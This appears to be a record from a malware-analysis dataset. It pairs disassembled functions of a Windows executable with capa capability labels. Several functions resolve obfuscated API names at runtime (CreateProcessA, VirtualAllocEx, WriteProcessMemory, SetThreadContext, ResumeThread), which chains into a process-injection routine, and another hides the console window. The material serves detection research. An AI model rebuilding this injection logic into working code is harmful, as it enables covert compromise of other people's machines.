joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408670
Capabilities:
Contain obfuscated stackstrings
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x5e14a4]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push edi
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x3c]
xor eax, eax
push edx
mov dword [esp + 0x1c], 0x61657243
mov dword [esp + 0x20], 0x68546574
mov dword [esp + 0x24], 0x64616572
mov byte [esp + 0x28], 0
mov dword [esp + 0x40], 0x45004b
mov dword [esp + 0x44], 0x4e0052
mov dword [esp + 0x48], 0x4c0045
mov dword [esp + 0x4c], 0x320033
mov dword [esp + 0x50], 0x64002e
mov dword [esp + 0x54], 0x6c006c
mov word [esp + 0x58], ax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ecx, dword [0x7ffe001c]
push 0x5b4b70
push ecx
mov dword [esp + 0x18], eax
mov eax, dword [0x7ffe0014]
push 0
sub eax, 0xd53e8000
push 0x989680
sbb ecx, 0
push ecx
push eax
call fcn.005531f0
push edx
push eax
call fcn.00408e60
add esp, 4
push eax
call fcn.0040a910
mov ecx, dword [0x7ffe001c]
mov eax, dword [0x7ffe0014]
add esp, 8
push 0x5b4b74
push ecx
push 0
sub eax, 0xd53e8000
push 0x989680
sbb ecx, 0
push ecx
push eax
call fcn.005531f0
push edx
push eax
call fcn.00408e60
add esp, 4
push eax
call fcn.0040a910
add esp, 8
call fcn.004085d0
mov ecx, dword [0x7ffe001c]
mov eax, dword [0x7ffe0014]
push 0x5b4b78
push ecx
push 0
sub eax, 0xd53e8000
push 0x989680
sbb ecx, 0
push ecx
push eax
call fcn.005531f0
push edx
push eax
call fcn.00408e60
add esp, 4
push eax
call fcn.0040a910
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [esp + 0x24]
push eax
push 0x5b4b7c
mov dword [esp + 0x2c], 0x74736f50
mov dword [esp + 0x30], 0x65726854
mov dword [esp + 0x34], 0x654d6461
mov dword [esp + 0x38], 0x67617373
mov word [esp + 0x3c], 0x4165
mov byte [esp + 0x3e], 0
call esi
push eax
call edi
push 0
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call esi
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.004081b0
push 0
push 0
push 0
push 0x408480
push 0
push 0
call dword [esp + 0x28]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x54]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0054df46
mov esp, ebp
pop ebp
ret 0x10
Function at 0x408860
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x57e39c
mov eax, dword fs:[0]
push eax
sub esp, 0x74
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5e14a4]
xor eax, esp
push eax
lea eax, [esp + 0x88]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], 8
mov dword [esp + 0x24], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00458935
call fcn.00459564
test eax, eax
jne 0x4088cc
push 0xffffffffffffffff
push eax
push 0x64
call fcn.0044830b
jmp 0x408ac0
xor edi, edi
push edi
call fcn.00459df4
add esp, 4
mov ebp, 1
push ebp
mov ecx, esi
call fcn.0045910d
push 5
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call main
push 0x5b4b94
mov ecx, esi
call fcn.00458c46
push 4
mov ecx, esi
call fcn.00457651
mov ecx, esi
call fcn.00456083
mov ecx, esi
call fcn.004560d0
mov ecx, esi
call fcn.00456033
lea ecx, [esp + 0x50]
push ecx
or ebx, 0xffffffff
push 0x589afc
push 0xffff
mov ecx, 0x5ec4a8
mov dword [esp + 0x5c], edi
mov dword [esp + 0x60], ebp
mov dword [esp + 0x64], ebp
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], ebp
mov dword [esp + 0x70], ebp
mov dword [esp + 0x78], 0xc8
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x74], ebp
call fcn.0045611d
mov ecx, eax
call fcn.0045a376
push 0xb0
call fcn.0041165a
add esp, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x90], edi
cmp eax, edi
je 0x4089c5
push 0x5b708c
push 0x5b5414
push 0x5b6f50
push 0x82
mov ecx, eax
call fcn.0045bb58
jmp 0x4089c7
xor eax, eax
mov dword [esp + 0x90], ebx
cmp eax, edi
je 0x408ac0
push eax
mov ecx, esi
call fcn.0045bfbe
push 0xad94
call fcn.0041165a
add esp, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x90], ebp
cmp eax, edi
je 0x408a02
push eax
call fcn.0040d7b0
mov edi, eax
mov dword [esp + 0x90], ebx
test edi, edi
je 0x408ac0
mov edx, dword [edi]
mov eax, dword [edx + 0x164]
push 0
push 0
push 0xcf8000
push 0x80
mov ecx, edi
call eax
test eax, eax
je 0x408ab6
lea ecx, [esp + 0x24]
mov dword [esi + 0x20], edi
call fcn.0045812a
lea ecx, [esp + 0x24]
push ecx
mov ecx, esi
mov dword [esp + 0x94], 2
call fcn.004576d7
lea edx, [esp + 0x24]
push edx
mov ecx, esi
call fcn.0045be0e
test eax, eax
jne 0x408a78
lea ecx, [esp + 0x24]
mov dword [esp + 0x90], ebx
call fcn.00458194
jmp 0x408ac0
mov eax, dword [esi + 0x4c]
push eax
mov ecx, edi
call fcn.004206b7
mov ecx, dword [edi + 0x20]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [esp + 0x24]
mov dword [esp + 0x90], ebx
call fcn.00458194
mov eax, ebp
mov ecx, dword [esp + 0x88]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [edi]
mov eax, dword [edx + 4]
push ebp
mov ecx, edi
call eax
xor eax, eax
mov ecx, dword [esp + 0x88]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b130
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.0045d33c

Function at 0x40bf60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40bf79
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40bfb2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x40bfae
lea ebx, [ebx]
cmp esi, eax
jae 0x40bfb2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x40bfa0
cmp esi, eax
jb 0x40bfb8
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x40d2f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x58
mov eax, dword [0x5e14a4]
xor eax, esp
mov dword [esp + 0x54], eax
push 0x40
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0x44
call fcn.0054fb10
add esp, 0xc
lea edx, [esp + 0x44]
push edx
xor ecx, ecx
mov al, 0x65
push 0x5b4974
mov dword [esp + 0x34], 1
mov word [esp + 0x38], cx
mov dword [esp + 0x4c], 0x61657243
mov dword [esp + 0x50], 0x72506574
mov word [esp + 0x54], 0x636f
mov byte [esp + 0x56], al
mov dword [esp + 0x57], 0x417373
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call eax
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.0054df46
add esp, 0x58
ret

Function at 0x40d390
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov eax, dword [0x5e14a4]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 4]
push eax
push 0x5b4990
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov word [esp + 0x18], 0x7845
mov byte [esp + 0x1a], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
push esi
call eax
test eax, eax
jne 0x40d3ff
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.0054df46
add esp, 0x14
ret
push 0
push edi
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x14]
pop ebx
xor ecx, esp
call fcn.0054df46
add esp, 0x14
ret
Function at 0x40d420
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x30c
mov eax, dword [0x5e14a4]
xor eax, esp
mov dword [esp + 0x308], eax
mov eax, dword [esp + 0x310]
push ebx
push ebp
push edi
push 0x2c8
lea ecx, [esp + 0x18]
push 0
push ecx
mov dword [esp + 0x18], eax
call fcn.0054fb10
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0xc
lea edx, [esp + 0x2ec]
push edx
push 0x5b49ac
mov dword [esp + 0x18], 0x10007
mov bl, 0x65
mov dword [esp + 0x2f4], 0x54746547
mov dword [esp + 0x2f8], 0x61657268
mov dword [esp + 0x2fc], 0x6e6f4364
mov dword [esp + 0x300], 0x74786574
mov byte [esp + 0x304], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov edx, dword [esi + 4]
lea ecx, [esp + 0x10]
push ecx
push edx
call eax
test eax, eax
jne 0x40d4db
pop edi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x308]
xor ecx, esp
call fcn.0054df46
add esp, 0x30c
ret
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x300]
push ecx
push 0x5b49c8
mov dword [esp + 0xd0], eax
mov byte [esp + 0x308], 0x53
mov byte [esp + 0x309], bl
mov dword [esp + 0x30a], 0x72685474
mov byte [esp + 0x30e], bl
mov dword [esp + 0x30f], 0x6f436461
mov word [esp + 0x313], 0x746e
mov byte [esp + 0x315], bl
mov word [esp + 0x316], 0x7478
mov byte [esp + 0x318], 0
call edi
push eax
call ebp
mov ecx, dword [esi + 4]
lea edx, [esp + 0x10]
push edx
push ecx
call eax
test eax, eax
je 0x40d4c1
lea edx, [esp + 0x2dc]
push edx
push 0x5b49e4
mov byte [esp + 0x2e4], 0x52
mov byte [esp + 0x2e5], bl
mov word [esp + 0x2e6], 0x7573
mov byte [esp + 0x2e8], 0x6d
mov byte [esp + 0x2e9], bl
mov word [esp + 0x2ea], 0x6854
mov byte [esp + 0x2ec], 0x72
mov byte [esp + 0x2ed], bl
mov word [esp + 0x2ee], 0x6461
mov byte [esp + 0x2f0], 0
call edi
push eax
call ebp
mov ecx, dword [esi + 4]
push ecx
call eax
mov ecx, dword [esp + 0x314]
pop edi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0054df46
add esp, 0x30c
ret
Function at 0x40d5f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x130
mov eax, dword [0x5e14a4]
xor eax, esp
mov dword [esp + 0x12c], eax
mov eax, dword [0x5eba2c]
push ebx
mov ebx, dword [esp + 0x138]
push ebp
mov ebp, dword [esp + 0x140]
push esi
push edi
push 0xfe
lea ecx, [esp + 0x41]
push 0
push ecx
mov dword [esp + 0x1c], eax
mov byte [esp + 0x48], 0
call fcn.0054fb10
add esp, 0xc
lea edx, [esp + 0x28]
push edx
push 0x5b4a00
mov dword [esp + 0x30], 0x53746547
mov dword [esp + 0x34], 0x65747379
mov dword [esp + 0x38], 0x7269446d
mov dword [esp + 0x3c], 0x6f746365
mov dword [esp + 0x40], 0x417972
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xff
lea ecx, [esp + 0x40]
push ecx
call eax
mov edi, ebp
lea esi, [esp + 0x3c]
mov byte [esp + 0x3f], 0
call fcn.0040d2f0
test eax, eax
je 0x40d711
lea edx, [esp + 0x18]
push edx
push 0x5b4a1c
mov dword [esp + 0x20], 0x74726956
mov dword [esp + 0x24], 0x416c6175
mov dword [esp + 0x28], 0x636f6c6c
mov word [esp + 0x2c], 0x7845
mov byte [esp + 0x2e], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp]
push 0x40
push 0x3000
push ebx
push 0
push ecx
call eax
mov dword [esp + 0x14], eax
test eax, eax
je 0x40d711
mov edx, dword [esp + 0x10]
mov esi, dword [ebp]
push edx
mov edi, ebx
call fcn.0040d390
add esp, 4
test eax, eax
je 0x40d711
mov eax, dword [esp + 0x14]
push eax
mov esi, ebp
call fcn.0040d420
add esp, 4
jmp 0x40d713
xor eax, eax
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0054df46
add esp, 0x130
ret
Function at 0x41ea85
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x41eacc
call fcn.0043c0c2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41eacc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41eae8
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0041e585
mov esi, eax
test edi, edi
je 0x41eae6
test ebx, ebx
je 0x41eae6
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x420c31
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x56d53c
call fcn.0054f779
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x420c56
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x420ca8
call fcn.00449f2d
push eax
lea ecx, [ebp - 0x10]
call fcn.0040c290
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0054f883
push eax
call fcn.0040c010
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004052e0
mov eax, esi
call fcn.0054f851
ret 8

Function at 0x431d02
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x431d1c
call fcn.0043c0c2
mov esi, dword [eax + 0xc]
push dword [0x5e601c]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x431d3a
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x431d32
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x431d67
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x431d34
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00431c30
mov esi, eax
jmp 0x431d59
Function at 0x4599fc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x459a44
call fcn.0043c0c2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x459a44
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x459a87
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x459a70
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x459a70
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x459a84
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x45d2a5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0043c0c2
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x45d2de
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0045cee2
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x45d33c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x45d360
cmp dword [edi + 0x74], 0
jne 0x45d360
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0043c0c2
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0045d2fd
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4aad31
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x5752fd
call fcn.0054f779
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00411430
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4aad93
call fcn.0043b985
cmp eax, 1
jne 0x4aad93
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0045c00a
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0041505c
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004052e0
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004052e0
mov eax, esi
call fcn.0054f851
ret 0x10

Function at 0x4aadbc
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x5752fd
call fcn.0054f779
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00411430
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4aae1e
call fcn.0043b985
cmp eax, 1
jne 0x4aae1e
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0045c00a
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0041505c
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004052e0
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004052e0
mov eax, esi
call fcn.0054f851
ret 0x14

Function at 0x4cea57
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x4cea95
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4ceaa3
push str.MoveFileTransactedW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4ceaa3
push dword [esi]
push 2
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x4ceaa5
cmp dword [esi + 4], 0
je 0x4ceaa3
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x511cd4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x511cec
mov edi, dword [esi + 0xc]
jmp 0x511d2c
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x511d05
call fcn.004486db
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x511d1a
call fcn.004486db
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x511d2c
call fcn.004486db
call fcn.0043c0c2
cmp dword [eax + 0x3c], 0
je 0x511d41
push edi
mov ecx, ebx
call fcn.00510b88
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.00511bee
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x511d5f
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x511d6b
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x52c9c2
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0052c666
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x52ca0c
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041cb51
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00417467
jmp 0x52ca17
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.004b10a8
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x52ca1d
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.004204d6
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x52ca5a
call fcn.0052c666
mov dword [esi + 0xc], 1
jmp 0x52ca5f
call fcn.0052c666
cmp dword [esi], 0
je 0x52caa8
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x52ca80
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041cb51
jmp 0x52ca92
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004071f0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00417467
jmp 0x52cacc
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x52cacc
push dword [esi]
push dword [ebp + 8]
call fcn.004b10a8
pop esi
pop ebp
ret 0xc